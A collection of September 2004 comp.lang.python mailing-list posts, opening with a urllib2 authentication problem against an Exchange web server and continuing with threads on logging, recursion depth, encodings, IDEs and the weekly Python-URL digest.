auth.add_password('owa.mydomain', 'http://owa.mydomain/',
'**USERNAME**', '**PASSWORD**')


# don't use proxy
prox = urllib2.ProxyHandler({})


# installation
opener = urllib2.build_opener(prox, auth)
urllib2.install_opener(opener)


# start
url = urllib2.urlopen('http://owa.mydomain/exchange/')
print url.readlines()

************************************************************************

here's the traceback:
************************************************************************
> ./owa.py
Traceback (most recent call last):
  File "./owa.py", line 22, in ?
    url = urllib2.urlopen('http://owa.mydomain/exchange/')
  File "/usr/lib/python2.3/urllib2.py", line 129, in urlopen
    return _opener.open(url, data)
  File "/usr/lib/python2.3/urllib2.py", line 326, in open
    '_open', req)
  File "/usr/lib/python2.3/urllib2.py", line 306, in _call_chain
    result = func(*args)
  File "/usr/lib/python2.3/urllib2.py", line 901, in http_open
    return self.do_open(httplib.HTTP, req)
  File "/usr/lib/python2.3/urllib2.py", line 895, in do_open
    return self.parent.error('http', req, fp, code, msg, hdrs)
  File "/usr/lib/python2.3/urllib2.py", line 352, in error
    return self._call_chain(*args)
  File "/usr/lib/python2.3/urllib2.py", line 306, in _call_chain
    result = func(*args)
  File "/usr/lib/python2.3/urllib2.py", line 412, in
http_error_default
    raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
urllib2.HTTPError: HTTP Error 401: Acc?s refus?
************************************************************************

here's the LiveHTTPheaders/Firefox debug:
( the web page is well delivered )
************************************************************************
http://owa.mydomain/exchange/

GET /exchange/ HTTP/1.1
Host: owa.mydomain
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7)
Gecko/20040804 Firefox/0.9.3
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

	HTTP/1.x 401 Acc?s refus?
	Server: Microsoft-IIS/5.0
	Date: Thu, 23 Sep 2004 08:56:03 GMT
	WWW-Authenticate: Negotiate
	WWW-Authenticate: NTLM
	WWW-Authenticate: Basic realm="owa.mydomain"
	Connection: close
	Content-Length: 21
	Content-Type: text/html
	
GET /exchange/ HTTP/1.1
Host: owa.mydomain
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7)
Gecko/20040804 Firefox/0.9.3
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Authorization: Basic CGFYZW50CDPOC3FTEXAQKG==

	HTTP/1.x 200 OK
	Server: Microsoft-IIS/5.0
	Date: Thu, 23 Sep 2004 08:56:15 GMT
	Set-Cookie: sessionid=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx,0x409;
path=/exchange/
	Content-Type: text/html
	Content-Length: 1071
	MS-WebStorage: 6.0.6249
	Cache-Control: no-cache
	
************************************************************************


From dave at pythonapocrypha.com  Tue Sep 28 19:04:15 2004
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Tue, 28 Sep 2004 17:04:15 -0600
Subject: annoying behavior
In-Reply-To: <cjcqao$ji0$1@gemini.csx.cam.ac.uk>
References: <9418be08.0409280856.9368ddf@posting.google.com>	<cjc61h$ag0$1@news2.wdf.sap.corp>	<9418be08.0409281438.25e2abe@posting.google.com>
	<cjcqao$ji0$1@gemini.csx.cam.ac.uk>
Message-ID: <4159EDEF.9070702@pythonapocrypha.com>

Michael Hoffman wrote:
> Elbert Lev wrote:
> 
>> I think, it would be good, if some sort of warning is given during
>> import, but not during instantiating the instance of the class. At
>> least in a "debug" mode. What really did happen: the bug was reported
>> after the scrip was running for 30 minutes. PyCheck finds it
>> immediatelly. Why not to do the same kind of check in the interpreter?
> 
> 
> Can you post the results of your PyChecker run and the exact input to it?
[snip]
> I think that what you want the Python compiler to do is harder than you 
> think it is, and not all cases will be caught unless you actually run 
> the program.

Also, it's not necessarily a mistake/bug, which is why it would make sense for 
PyChecker to report it as a warning (if at all) and not the interpreter.


From lbates at swamisoft.com  Mon Sep 13 16:25:31 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Mon, 13 Sep 2004 15:25:31 -0500
Subject: Find first in sequence (simple question)
References: <mailman.3255.1095103389.5135.python-list@python.org>
Message-ID: <hIednSNjZsqun9vcRVn-ug@comcast.com>

One easy way (not tested):

#
# target value you are searching for
# nlist holds list of values to search
#
nlist=[1,3,5,7,9]
target=2
larger_value=None
for value in nlist:
    if value > target:
        larger_value=value
        break

print larger_value

"Neal D. Becker" <ndbecker2 at verizon.net> wrote in message
news:mailman.3255.1095103389.5135.python-list at python.org...
> What is an efficient way to find the first element in a sequence meeting
> some condition?
>
> For example, the first number > x in a list of numbers.
>
>




From guettli at thomas-guettler.de  Mon Sep  6 10:42:58 2004
From: guettli at thomas-guettler.de (Thomas Guettler)
Date: Mon, 06 Sep 2004 16:42:58 +0200
Subject: Python daemon and popen2
References: <mailman.2846.1094238733.5135.python-list@python.org>
Message-ID: <pan.2004.09.06.14.42.58.757044@thomas-guettler.de>

Am Fri, 03 Sep 2004 15:12:04 -0400 schrieb Bob Swerdlow:

> I've created a Python daemon that starts a bunch of BitTorrent downloader
> process.  Everything is working fine when I start the daemon by hand (logged
> on as root).  I can quit the session and see that the daemon is running and
> the subprocesses are running, too.  However, when I configure the system to
> automatically start the daemon on boot-up, the daemon runs, but the
> processes are not created.
> 
> This is on Solaris 8 with Python 2.3.3.  The processes are started with
> popen2.  I'm starting the processes with a script in /etc/rc3.d/S81btseeds.
> 
> Any suggestions?  Why should it care that it is running at start-up?

Hi,

The environment is different. Check for $HOME, $PATH, umask, ...

HTH,
 Thomas



From carribeiro at gmail.com  Tue Sep 14 10:15:44 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Tue, 14 Sep 2004 11:15:44 -0300
Subject: Ranting about the state of Python IDEs for Windows
In-Reply-To: <HLEGKHKIKMEHENBAEIEPAEEFCIAA.ben@benlast.com>
References: <864d3709040913131077f1732d@mail.gmail.com>
	<HLEGKHKIKMEHENBAEIEPAEEFCIAA.ben@benlast.com>
Message-ID: <864d370904091407152babb258@mail.gmail.com>

On Tue, 14 Sep 2004 14:04:24 +0100, Ben Last <ben at benlast.com> wrote:
> In other words, don't look for one tool that does it all, but assemble a set
> of them, and use parts of each.

That's what I'm doing right now. The problem is that I'm finding it
very unproductive. On the top of all problems, the DOS Shell is really
a bad choice. Maybe you're right and using Cygwin will alleviate some
of the problems that I keep running into.

The problem may be abbreviated very simply: I hate to switch mental
context very often. It's tiring, and impacts my concentration. And
that's exactly what happens when I have to manage a 12+ of tools. I
would like to concentrate on the problem at hand, instead to be
constantly moving windows around to remove some clutter.

Now that I'm ranting, I have some ideas to solve this problem. My
dream is to have a different approach for the window manager -- one
that not only saves sessions, but is able to manage sessions in a more
effective way. I would like to have a code editing session, and a
test-run session, with different layouts (may be with the same tools).
Everything would be automatically updated upon session switching. A
button on my taskbar would have me editing my code; clicking on other
button, and the windows would be automatically repositioned, resized,
minimized, or reopened, to start the test run. I could have separate
sessions for my mail and web browsing, or to edit documentation.
Everything clean and uncluttered. It's a dream, because all window
managers that I know (and that's a lot) are not able to do it -- even
the ones which already support multiple displays or session
persistence are nit able to match my requirements. <sigh>.

p.s. I know that there is another solution for this problem... but
involves money (a lot of). Have a couple of big monitors (21',
anyone?), side by side, and open as many windows as you wish. Position
them where you want them to be, without overlapping. That's happiness
:-)


-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From godoy at ieee.org  Wed Sep 15 16:25:31 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Wed, 15 Sep 2004 17:25:31 -0300
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de>
	<m3isaf1xki.fsf@g2ctech.com>
	<1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com>
Message-ID: <m3pt4nwa84.fsf@g2ctech.com>

aleaxit at yahoo.com (Alex Martelli) writes:

>> I really would like a lot if it was possible to write
>> non-GPL code with Qt (not that I'm against GPL software, but some
>
> It's perfectly possible: Trolltech, the authors of Qt, will be extremely
> happy to sell you a commercial license of Qt so you can develop and sell
> your code as closed-source or whatever.

Then I'd have to buy something like PyQT, and then I'd have to buy
something like ... :-)

I like the widgets, and the visual, but I can't afford buying a whole
toolchain for using it.  So, I use the tools that are free, that allow
the commercial use, and when it is not possible, I let the client choose
paying for something commercial that he will keep after the project
delivery (after all, he paid for that) or writing free software (free
software was their choice 75% of the time, this is another reason I
wouldn't invest on buying a license of Qt for commercial software...).

> Me too (well, not Photoshop, actually -- if I had to process images I
> think I'd use GIMP instead), so I use them on my Mac iBook 12" laptop
> (whose operating system's guts aren't all that far from FreeBSD --
> there's some Mach microkernel involved, but it's very unlikely that
> could possibly be a problem -- those guts are all opensource, too, under
> the name of 'Darwin').

Indeed.  Macs are cool, but expensive.  Our salaries here in .br are not
like your in the US or Europe...  :-) 

-- 
Godoy.     <godoy at ieee.org>


From python-url at phaseit.net  Tue Sep 28 22:08:06 2004
From: python-url at phaseit.net (Cameron Laird)
Date: Wed, 29 Sep 2004 02:08:06 GMT
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Sep 29)
Message-ID: <cjd57c$i58$1@lairds.us>

QOTW: "You *did* signal that quite adequately. This, however, is
comp.lang.python and clear signals never stopped anyone.  <wink>"
    Peter Hansen

"I think that the problem with debuggers is the same as with
optimization -- it's too easy to start doing it prematurely."
    Carlos Ribeiro


    Gerrit Holl lists subtleties of a "straightforward" problem, and
    starts to solve them:
        http://www.google.com/groups?selm=mailman.4001.1096357473.5135.python-list%40python.org   

    A workshop on High Productivity Python on 12 October might
    still have openings for presentations.
        http://groups.google.com/groups?th=bc16bbd85b4d10d9

    Dabo is "a true three-tier design" portable wxPython-based
    freely-available framework.
        http://groups.google.com/groups?th=78be1e32fa9ac645

    Vinay Sajip explains that logging is easier than its 
    documentation has made it appear to be.
        http://groups.google.com/groups?selm=JqSdnXgsbLTkosXcRVn-vw%40powergate.ca
    
    Resumable exceptions are too complicated for Python--probably.
        http://groups.google.com/groups?frame=left&th=eebe9a8d1fee47f5

    How does one get the zip module to do something useful?  Adept
    Pythoneers start the way they start with *all* questions:  by
    asking the module to explain itself.
        http://groups.google.com/groups?frame=left&th=586b1ae0d7d403cc
        http://groups.google.com/groups?frame=left&th=5814e0fbe3ef7679
        http://groups.google.com/groups?frame=left&th=8f06411b073cf498


========================================================================
Everything Python-related you want is probably one or two clicks away in
these pages:

    Python.org's Python Language Website is the traditional
    center of Pythonia
        http://www.python.org
    Notice especially the master FAQ
        http://www.python.org/doc/FAQ.html

    PythonWare complements the digest you're reading with the
    marvelous daily python url
         http://www.pythonware.com/daily  
    Mygale is a news-gathering webcrawler that specializes in (new)
    World-Wide Web articles related to Python.
         http://www.awaretek.com/nowak/mygale.html 
    While cosmetically similar, Mygale and the Daily Python-URL
    are utterly different in their technologies and generally in
    their results.

    comp.lang.python.announce announces new Python software.  Be
    sure to scan this newsgroup weekly.
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce

    Brett Cannon continues the marvelous tradition established by 
    Andrew Kuchling and Michael Hudson of intelligently summarizing
    action on the python-dev mailing list once every other week.
	http://www.python.org/dev/summary/

    The Python Package Index catalogues packages.
        http://www.python.org/pypi/

    The somewhat older Vaults of Parnassus ambitiously collects references
    to all sorts of Python resources.
        http://www.vex.net/~x/parnassus/   

    Much of Python's real work takes place on Special-Interest Group
    mailing lists
        http://www.python.org/sigs/

    The Python Business Forum "further[s] the interests of companies
    that base their business on ... Python."
	http://www.python-in-business.org

    Python Success Stories--from air-traffic control to on-line
    match-making--can inspire you or decision-makers to whom you're
    subject with a vision of what the language makes practical.
        http://www.pythonology.com/success

    The Python Software Foundation (PSF) has replaced the Python
    Consortium as an independent nexus of activity.  It has official
    responsibility for Python's development and maintenance. 
        http://www.python.org/psf/
    Among the ways you can support PSF is with a donation.
        http://www.python.org/psf/donate.html

    Cetus collects Python hyperlinks.
        http://www.cetus-links.org/oo_python.html

    Python FAQTS
        http://python.faqts.com/

    The Cookbook is a collaborative effort to capture useful and
    interesting recipes.
	http://aspn.activestate.com/ASPN/Cookbook/Python

    Among several Python-oriented RSS/RDF feeds available are
	http://www.python.org/channews.rdf
	http://bootleg-rss.g-blog.net/pythonware_com_daily.pcgi
	http://python.de/backend.php
    For more, see
	http://www.syndic8.com/feedlist.php?ShowMatch=python&ShowStatus=all
    The old Python "To-Do List" now lives principally in a
    SourceForge reincarnation.
        http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse
        http://python.sourceforge.net/peps/pep-0042.html
     
    The online Python Journal is posted at pythonjournal.cognizor.com.
    editor at pythonjournal.com and editor at pythonjournal.cognizor.com
    welcome submission of material that helps people's understanding
    of Python use, and offer Web presentation of your work.

    *Py: the Journal of the Python Language*
        http://www.pyzine.com

    Archive probing tricks of the trade:
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100
        http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.*

Previous - (U)se the (R)esource, (L)uke! - messages are listed here:
  http://www.ddj.com/topics/pythonurl/         
  http://purl.org/thecliff/python/url.html (dormant)
or
  http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python


Suggestions/corrections for next week's posting are always welcome.
E-mail to <Python-URL at phaseit.net> should get through.

To receive a new issue of this posting in e-mail each Monday morning
(approximately), ask <claird at phaseit.net> to subscribe.  Mention
"Python-URL!".


-- The Python-URL! Team--

Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and
sponsor the "Python-URL!" project.




From kjetilho at yksi.ifi.uio.no  Sun Sep 26 10:52:31 2004
From: kjetilho at yksi.ifi.uio.no (Kjetil Torgrim Homme)
Date: Sun, 26 Sep 2004 16:52:31 +0200
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
 project.
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
	<89adnWTWC6JVscncRVn-uw@giganews.com>
Message-ID: <1r1xgp2ic0.fsf@glesvat.ifi.uio.no>

[Istvan Albert]:
>
>   Pick a simple task, design a program that does it and make it as
>   simple as you can. Then grab a few people off the street, take
>   them to a room, ask them to perform the task, leave the room, then
>   watch them try to accomplish that task. The lessons you learn in a
>   few hours will last you a lifetime. You'll then understand why
>   this "generic computing appliance" serving the "needs of a typical
>   user" makes no sense whatsoever.

making a single, specific appliance is very different from making a
general tool to augment man's capabilities.  grab a random person and
put him in a car.  how far would he go without extensive training?
sometimes you have to spend time to save time.
-- 
Kjetil T.


From mahasamatman at nm.ru  Wed Sep  1 06:36:30 2004
From: mahasamatman at nm.ru (Vladimir Ivanov)
Date: Wed, 01 Sep 2004 13:36:30 +0300
Subject: Script executes script?
In-Reply-To: <c869ac1b.0409010014.4c581fc@posting.google.com>
References: <c869ac1b.0409010014.4c581fc@posting.google.com>
Message-ID: <ch48mm$4ph$1@sea.gmane.org>

Mipe wrote:
> Hello,
> 
> for a testmodule I need to execute a python script from within a
> python script. Something like:
> 
> -- ScriptA -->
> import whatever
> 
> RunScript("scriptb.py")
> RunScript("scriptc.py")
> <-- Script A --
> 
> Is this possible? I didn't find a possibility to do this.
> 
> Would be nice if you could give me some advice here.
> 
> Thank you,
> Mipe
import os
path_to_python = "c:\\Python23\\python.exe"
path_to_script = "e:\\temp\\test.py"
os.system(path_to_python + " " + path_to_script)



From cpl.19.ghum at spamgourmet.com  Sun Sep 19 17:56:44 2004
From: cpl.19.ghum at spamgourmet.com (Harald Massa)
Date: Sun, 19 Sep 2004 21:56:44 +0000 (UTC)
Subject: sys.setdefaultencoding(name)
References: <Xns9568641F5C869askariaddressNonVali@207.35.177.135>
	<Xns9568A73F4BFF9cpl19ghumspamgourmet@195.20.224.116>
	<Xns956957916F419askariaddressNonVali@207.35.177.135>
Message-ID: <Xns9569F39D2C884cpl19ghumspamgourmet@195.20.224.116>

Askari,

> """
> import site
> site.encoding = "latin_1"
> """
> 
> Why?
> And, I do the good think? (site.encoding = "latin_1")

No, you do a the bad thing.

You have to EDIT the site.py within python\lib\site.py

open it within an editor, find "ASCII" and replace by latin1

site.encodiging="Latin_1" just adds an attribute NOBODY cares for to a 
module in memory.

Harald


From dperl at rogers.com  Wed Sep  1 12:24:32 2004
From: dperl at rogers.com (Dan Perl)
Date: Wed, 01 Sep 2004 16:24:32 GMT
Subject: initializing mutable class attributes
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com><1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com><eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com><1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com><8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com><1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com><iolZc.115894$pTn.53552@news01.bloor.is.net.cable.rogers.com>
	<m3n00aggxu.fsf@g2ctech.com>
	<unmZc.157756$UTP.69766@twister01.bloor.is.net.cable.rogers.com>
	<ch4skh$223$04$1@news.t-online.com>
Message-ID: <4JmZc.158232$UTP.119324@twister01.bloor.is.net.cable.rogers.com>

I'm not sure what you mean by removing the object as ancestor, but here is a
modified code similar to Jorge's and it doesn't work:
    class test:
        pass

    class derived(test):
        def __init__(self):
                test.__init__(self)

    d = derived()

The call to test.__init__(self) raises an AttributeError exception.

Dan

"Diez B. Roggisch" <deetsNOSPAM at web.de> wrote in message
news:ch4skh$223$04$1 at news.t-online.com...
> Dan Perl wrote:
>
> > My mistake.  You're right, and it's all because of the inheritance from
> > 'object', which probably defines a default, empty, __init__.  I haven't
> > made a habit of subclassing from 'object' yet and I see that I'll have
to
> > do
> > that.  Thanks.
>
> You can safely remove the object as ancestor - it works with old-style
> classes, too.
>
> -- 
> Regards,
>
> Diez B. Roggisch




From peter at engcorp.com  Fri Sep 10 11:31:16 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 10 Sep 2004 11:31:16 -0400
Subject: Electronic voting feasibility
In-Reply-To: <8PWdnfxkGeIFWNzcRVn-qQ@giganews.com>
References: <chr77a$4gj@odak26.prod.google.com>	<-_CdnSvxZtZcPdzcRVn-iw@giganews.com>
	<mailman.3140.1094820652.5135.python-list@python.org>
	<otKdnctyIcclNtzcRVn-gg@giganews.com>
	<28KdnThSO7DtM9zcRVn-pQ@powergate.ca>
	<8PWdnfxkGeIFWNzcRVn-qQ@giganews.com>
Message-ID: <K9ydnRpo-6dZVdzcRVn-vw@powergate.ca>

Istvan Albert wrote:

> Peter Hansen wrote:
>>  What are they trying to manipulate you to do,
> 
> Take everything they say as the only truth.

Ah, I see.  Anyone who doesn't explicitly tell you to
verify that what she says is the "only" truth is actually
trying to manipulate you into believing only her words...
Now I get it.  ;-)

(By the way, so far I've been able to independently confirm
a lot of what is said there, from news reports and other
sites.  But perhaps it's just a conspiracy?)

-Peter


From adalke at mindspring.com  Tue Sep 28 12:26:16 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Tue, 28 Sep 2004 16:26:16 GMT
Subject: getrecursiondepth
In-Reply-To: <lhifl0969k5s8c87b9cg2pqrbe3in9oiv3@4ax.com>
References: <27eal09cb6ggho5gbstgkbmvgillnova08@4ax.com>
	<cj3rd9$i9j$1@pegasus.csx.cam.ac.uk>
	<qebbl0l43c891b21udregn2pvj3phbfp90@4ax.com>
	<yMn5d.9974$gG4.9921@newsread1.news.pas.earthlink.net>
	<lf1dl0tqo6kui5gi2qmhgdqq0qdqfeqei0@4ax.com>
	<6fD5d.10550$gG4.6048@newsread1.news.pas.earthlink.net>
	<lhifl0969k5s8c87b9cg2pqrbe3in9oiv3@4ax.com>
Message-ID: <Igg6d.12242$gG4.6109@newsread1.news.pas.earthlink.net>

Manlio Perillo wrote:
>>>1) To write code that execute once in a function (as C static
>>>variables)
>>>2) To guard against too many recursion

> def spam(x):
> 	if getrecursiondepth() == 1:
> 		# initialization code
> 
> This is equivalent to C++ code:
> 
> struct Init
> {
> Init() { /* initialization code */ }
> };
> 
> void spam(int x)
> {
> 	static Init init;
> 	...
> }

No, it isn't.  It requires that spam() be called from
the top-level code.  But what if it's called from
the unittest framework?  Then the depth will be lower.

Try this as a alternate solution for your style
of use.  It's still not the right one because it
doesn't handle reloads nor multiple functions
created through exec's.

_firsttime_db = {}
def firsttime():
   frame = sys._getframe(1)
   tag = (frame.f_lineno, frame.f_code.co_filename)
   if tag in _firsttime_db:
     return 0
   _firsttime_db[tag] = 1
   return 1

 >>> def spam():
...   if firsttime():
...     print "Hello!"
...   print "called"
...
 >>> spam()
Hello!
called
 >>> spam()
called
 >>> spam()
called
 >>>

You could make it a bit safer with

import weakref
_firsttime_dict = weakref.WeakKeyDictionary()
def firsttime(obj):
   if obj in _firsttime_dict:
     return 0
   _firsttime_dict[obj] = 0
   return 1

def spam():
   if firsttime(spam):
     print "Hello"
   print "called"


> I have already used this 'pattern'.
> But sometimes I don't want to expose the 'limit' on the argument list.
> Actually I have resolved this by doing:
> 
> def my_function(x, y, z, __max_depth = 20)
> 
> But this means I can't use keyword argument in my function!

then do

def _my_function(x, y, z, __maxdepth = 20):
   .. do your recursive code here ..

def my_function(x, y, z):
   return _my_function(x, y, z)

How would you solve this problem using your stack depth
function?  Any solution I come up with is more
complicated than what I just showed here and is no
longer thread safe.

> This is not a problem!.
> getrecursiondepth is not intended for such things.
   ...
> Ok, but remember the Python paradigm: we are adult programmers...

As an adult I still don't know what you would want
to use this value.  The first example you give
(static init) fails if someone looks at it funny.
I'm adult, but I can't be that cautious.  The second
example (recursion), well I just don't see how knowing
the depth makes the code any easier to write or clearer
to understand.

> Anyway I have asked why getrecursiondepth is not included in sys
> module because many members of the PyThreadState struct are accessible
> from Python.

Maybe they're useful?

				Andrew
				dalke at dalkescientific.com


From ajsiegel at optonline.com  Fri Sep  3 07:25:30 2004
From: ajsiegel at optonline.com (Arthur)
Date: Fri, 03 Sep 2004 11:25:30 GMT
Subject: Tuple question
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
	<0qKdnZXAHfyPyKrcRVn-sg@powergate.ca>
	<mailman.2783.1094152072.5135.python-list@python.org>
	<M53NBls/KL8E089yn@the-wire.com> <87acw86she.fsf@uwo.ca>
	<1094189336.822541@yasure>
Message-ID: <KwYZc.3303$Wv5.1119@newsread3.news.atl.earthlink.net>


"Donn Cave" <donn at drizzle.com> wrote in message
news:1094189336.822541 at yasure...

> No one is saying you must use a list then.  Do whatever you want!
> But no one is forcing you to use a tuple, either (in this hypothetical
> application), and if you need an index function, you know where to get
>it.

Which to me, is what it boils down to.  What are you trying to do, and
where's the fit.  At a very practical level.  I continue to think any
general discussion of homogeneity/heterogenuity is misdirecting.  Python
relies on lists to be able to do duty in many different kinds of
circumstances, as oppose to acccessing specialized containers, as in other
languages.  Clearly, in some of those circumstances homogeneity, in some
sense or other, is to the essence.  In others it clearly is not.  It's the
append method one is after, for example. In a dynamic app, append and
ordered access solves a set of problems that may or may not be reasonablely
conceptualized as related to homogeneity. So any attempt to describe
anything about lists vs. tuples in terms of its data content always in the
end seems unnecessarily reductionist, IMO - if that's the right word.

Art




From agriff at tin.it  Sat Sep  4 16:54:01 2004
From: agriff at tin.it (Andrea Griffini)
Date: Sat, 04 Sep 2004 20:54:01 GMT
Subject: Basic tokenizer
References: <Xns95578D624E7ADdaleriverhallsystems@192.168.8.150>
	<mailman.2754.1094103605.5135.python-list@python.org>
	<dr1ej05htuepi5hr766g0nf6ho1jpe31te@4ax.com>
	<lREZc.4858$Xi.2093@fe1.texas.rr.com>
Message-ID: <sa6kj0lh6s9m4hshfij8l5448so71ks44k@4ax.com>

On Thu, 02 Sep 2004 13:02:09 GMT, "Paul McGuire"
<ptmcg at austin.rr._bogus_.com> wrote:

>I'd be interested in your feedback on this pyparsing example:
>http://www.geocities.com/ptmcg/python/fourFn.py.txt

Like I said in another post I like pyparsing so far... but
I tried writing a bare-bone calculator and I got this...

http://www.gripho.it/barecalc.py.txt

It implements support for 5 operations, a few functions
and variables with assignment. Only imported module is "math",
and the line count is not really much higher than fourFn.py.

If you wonder if you can be able to write a full programming
language parser this way I can ensure you that it's possible;
I've been there a few times (of course I'm not talking about
languages in which the grammar is a nightmare).

On the plus if you need to do a few little hacks (like
deciding how to parse something depending on the *meaning*
of a symbol) it's really easy. For an example of this kind
of hack in the barecalc calculator if an identifier is a
known function then the parser requires "("+expr+")" and
IMO this is crystal clear in the source.

Andrea


From peter at engcorp.com  Mon Sep 27 12:27:36 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 27 Sep 2004 12:27:36 -0400
Subject: limitations of current logging package (was Re: ANN: Logging Package
 v0.4.9.4 released)
In-Reply-To: <2e37dc1.0409260220.6ad5cb6c@posting.google.com>
References: <2e37dc1.0409230442.7e74543d@posting.google.com>
	<4edc17eb.0409232031.66ad3d4e@posting.google.com>
	<2e37dc1.0409260220.6ad5cb6c@posting.google.com>
Message-ID: <JqSdnXgsbLTkosXcRVn-vw@powergate.ca>

Vinay Sajip wrote:
> What exactly is hard to use? An example of the minimalist way of
> logging:
> 
> import logging
> 
> logging.warn("This is your %s warning", "first")
> #similarly you can call logging.debug(), logging.info() etc.

The above shows clearly that one can use logging in a simple
way, but as Michael points out, it's not well documented how
simple it can be.  Even having read this thread and knowing
in advance that I could do that, I wasn't able to find the
relevant information easily in the documentation with
several minutes of reading (and several minutes covers a
lot of territory normally).  Even when I found the comments
about the shortcut functions, I wouldn't have been certain
how to use them (as above) because an example is missing.

Unlike Michele, however, I find the logging package to be
fairly straightforward and easy to use (though admittedly
after a few months of disuse maybe I will not... but in
such cases I tend to cut and paste the setup code from
past projects and don't care).

What I did find, however, were several limitations, at least
one of which I think is easily resolved.

1) I wanted to log an except from a sys.excepthook handler.
You can't, near as I can tell, without doing something like
the following incantation:

def excepthook(*args, **kwargs):
     root = logging.getLogger()
     fn, lno = root.findCaller()
     root.handle(root.makeRecord(root.name, logging.ERROR, fn, lno,
         'uncaught exception', (), exc_info=args))

Yuck!  Why is it so awkward?  Well, it appears that it is
impossible to pass exception info to a Logger, because the
special "exc_info" argument is merely a boolean flag that
tells it to retrieve the info from sys.exc_info().

What if sys.exc_info() doesn't have the data, as in the above
real-world example, and others I could make up?  Well, in that
case you just create a Formatter() and use formatException()...
except that there doesn't appear to be a (documented) way of
getting the formatter out of the root Logger...  I'm using
fileConfig() to set things up, so I don't have direct access
to any of the objects and don't see an obvious way past the
above ugly code (which is hoisted out of Logger._log()).

2) I wanted my log files written to the application's own
directory, rather than to the current directory.  Using
the fileConfig capability, you can't, at least not without
using absolute paths (near as I can tell).

My hack workaround was to prepopulate the logging module's
vars() with one call _app_path, and then to reference that
in the config file in the following way.  This works only
because (a) eval is used on the args, and (b) the os module
has already been imported by logging.__init__:

(in the main code:)
logging._app_path = MY_APP_PATH
logging.config.fileConfig(MY_CONFIG_FILE)

(in the config file:)
[handler_hand01]
class=handlers.RotatingFileHandler
level=NOTSET
formatter=form01
args=(os.path.join(_app_path, 'bod.log'), 'a', 10000000, 9)


Now I can sort of see why the second issue might be awkward
to resolve (since it is in effect a problem that appears in
various other ways in the Python world, with no standard
solution, mainly because there's no simple "sys.getappdir()"
or whatever it would be called).

For the first problem, I think the exc_info "flag" should be
changed so that if it contains actual exception info, or
maybe just a tuple of three items, then *that* information
is logged instead of a call to sys.exc_info() being made.

But these are just warts, and I'm sure there are others, but
I do find the logging facility to be fairly elegant, all
things considered, and not very hard to figure out.  (I'd
never used it before this thread came up, but the timing
was right and I just had a need for it, finally.)

-Peter


From reynirhs at mi.is  Thu Sep  9 00:05:31 2004
From: reynirhs at mi.is (Reynir Stefánsson)
Date: Thu, 09 Sep 2004 04:05:31 +0000
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<413af268$0$19706$61fed72c@news.rcn.com>
	<rv1hhc.mtv2.ln@via.reistad.priv.no>
	<413c5b9c$0$19705$61fed72c@news.rcn.com>
	<1s4ihc.4i4.ln@via.reistad.priv.no>
	<opsdxecgt8pqzri1@mjolner.upc.no> <un000uufg.fsf@mail.comcast.net>
Message-ID: <2tjvj0ttc99io295ecg2l86lc2h4tug1jc@4ax.com>

So spake Anne & Lynn Wheeler:

>OSI can support x.25 packet switching and/or even the arpanet packet
>switching from the 60s & 70s .... but it precludes internetworking
>protocol. internetworking protocol (aka internet for short) is a
>(non-existant) layer in an OSI protocol stack between
>layer3/networking and layer4/transport. misc. osi (& other) comments
>http://www.garlic.com/~lynn/subnetwork.html#xtphsp

Wasn't the idea behind ISO/OSI that there should be One Network for
everybody, instead of today's lot of interconnected nets?
-- 
Reynir Stef?nsson (reynirhs at mi.is)


From exarkun at divmod.com  Fri Sep  3 10:08:08 2004
From: exarkun at divmod.com (Jp Calderone)
Date: Fri, 03 Sep 2004 10:08:08 -0400
Subject: print with no newline
In-Reply-To: <2prasrFo4rruU1@uni-berlin.de>
References: <2prasrFo4rruU1@uni-berlin.de>
Message-ID: <41387AC8.9040407@divmod.com>

Paul Watson wrote:
> I thought that using a comma at the end of a print statement would suppress
> printing of a newline.  Am I misunderstanding this feature?  How can I use
> print and not have a newline appended at the end?
> 

   Print doesn't want to leave the *final* line without a newline. 
